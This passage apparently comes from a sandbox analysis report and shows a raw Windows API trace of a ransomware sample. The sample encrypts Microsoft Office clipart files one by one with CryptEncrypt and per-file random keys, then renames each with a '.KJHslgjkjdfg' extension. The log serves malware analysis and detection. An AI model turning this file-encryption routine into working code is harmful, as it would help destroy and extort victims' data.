liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.578] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1290, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1290, lpOverlapped=0x0) returned 1 [0199.578] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.578] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.578] SetEndOfFile (hFile=0x130) returned 1 [0199.581] GetProcessHeap () returned 0x990000 [0199.581] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.581] GetProcessHeap () returned 0x990000 [0199.581] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.581] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf.kjhslgjkjdfg")) returned 1 [0199.583] CloseHandle (hObject=0x130) returned 1 [0199.583] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239063.WMF", cAlternateFileName="")) returned 1 [0199.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.584] GetProcessHeap () returned 0x990000 [0199.584] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.584] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.584] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.584] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.587] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.587] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.587] GetProcessHeap () returned 0x990000 [0199.587] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.587] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.587] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.587] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.587] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.587] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.587] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.587] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.588] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.588] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.588] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.588] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.588] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x16fc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x16fc, lpOverlapped=0x0) returned 1 [0199.589] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1700, dwBufLen=0x1700 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1700) returned 1 [0199.589] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.589] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1700, lpOverlapped=0x0) returned 1 [0199.589] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.589] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.589] SetEndOfFile (hFile=0x130) returned 1 [0199.592] GetProcessHeap () returned 0x990000 [0199.592] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.592] GetProcessHeap () returned 0x990000 [0199.592] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.592] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf.kjhslgjkjdfg")) returned 1 [0199.594] CloseHandle (hObject=0x130) returned 1 [0199.594] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1294, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239079.WMF", cAlternateFileName="")) returned 1 [0199.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.595] GetProcessHeap () returned 0x990000 [0199.595] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.595] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.595] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.596] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0199.598] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.598] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.598] GetProcessHeap () returned 0x990000 [0199.598] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.598] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.599] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.599] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.599] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.599] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.599] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.599] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.599] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.599] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.599] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.599] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.599] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1294, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1294, lpOverlapped=0x0) returned 1 [0199.600] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x12a0, dwBufLen=0x12a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x12a0) returned 1 [0199.600] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.601] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x12a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x12a0, lpOverlapped=0x0) returned 1 [0199.601] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.601] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.601] SetEndOfFile (hFile=0x130) returned 1 [0199.603] GetProcessHeap () returned 0x990000 [0199.603] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.603] GetProcessHeap () returned 0x990000 [0199.603] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.603] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf.kjhslgjkjdfg")) returned 1 [0199.604] CloseHandle (hObject=0x130) returned 1 [0199.604] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1464, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239191.WMF", cAlternateFileName="")) returned 1 [0199.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.606] GetProcessHeap () returned 0x990000 [0199.606] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.606] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.606] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.606] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0199.608] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.609] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.609] GetProcessHeap () returned 0x990000 [0199.609] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.609] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.609] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.609] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.609] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.609] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.609] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.609] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.609] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.609] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.609] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.609] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.610] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1464, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1464, lpOverlapped=0x0) returned 1 [0199.610] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1470, dwBufLen=0x1470 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1470) returned 1 [0199.611] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.611] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1470, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1470, lpOverlapped=0x0) returned 1 [0199.611] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.611] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1544, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.611] SetEndOfFile (hFile=0x130) returned 1 [0199.614] GetProcessHeap () returned 0x990000 [0199.614] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.614] GetProcessHeap () returned 0x990000 [0199.614] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.614] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf.kjhslgjkjdfg")) returned 1 [0199.615] CloseHandle (hObject=0x130) returned 1 [0199.615] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8424, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239611.WMF", cAlternateFileName="")) returned 1 [0199.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.616] GetProcessHeap () returned 0x990000 [0199.616] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.616] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.616] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.617] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0199.619] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.620] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.620] GetProcessHeap () returned 0x990000 [0199.620] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.620] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.620] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.620] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.620] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.620] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.620] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.620] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.620] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.621] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.621] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.621] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.621] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8424, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8424, lpOverlapped=0x0) returned 1 [0199.622] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8430, dwBufLen=0x8430 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8430) returned 1 [0199.623] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.623] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8430, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8430, lpOverlapped=0x0) returned 1 [0199.623] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.623] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.623] SetEndOfFile (hFile=0x130) returned 1 [0199.626] GetProcessHeap () returned 0x990000 [0199.626] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.626] GetProcessHeap () returned 0x990000 [0199.626] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.627] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf.kjhslgjkjdfg")) returned 1 [0199.628] CloseHandle (hObject=0x130) returned 1 [0199.628] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, 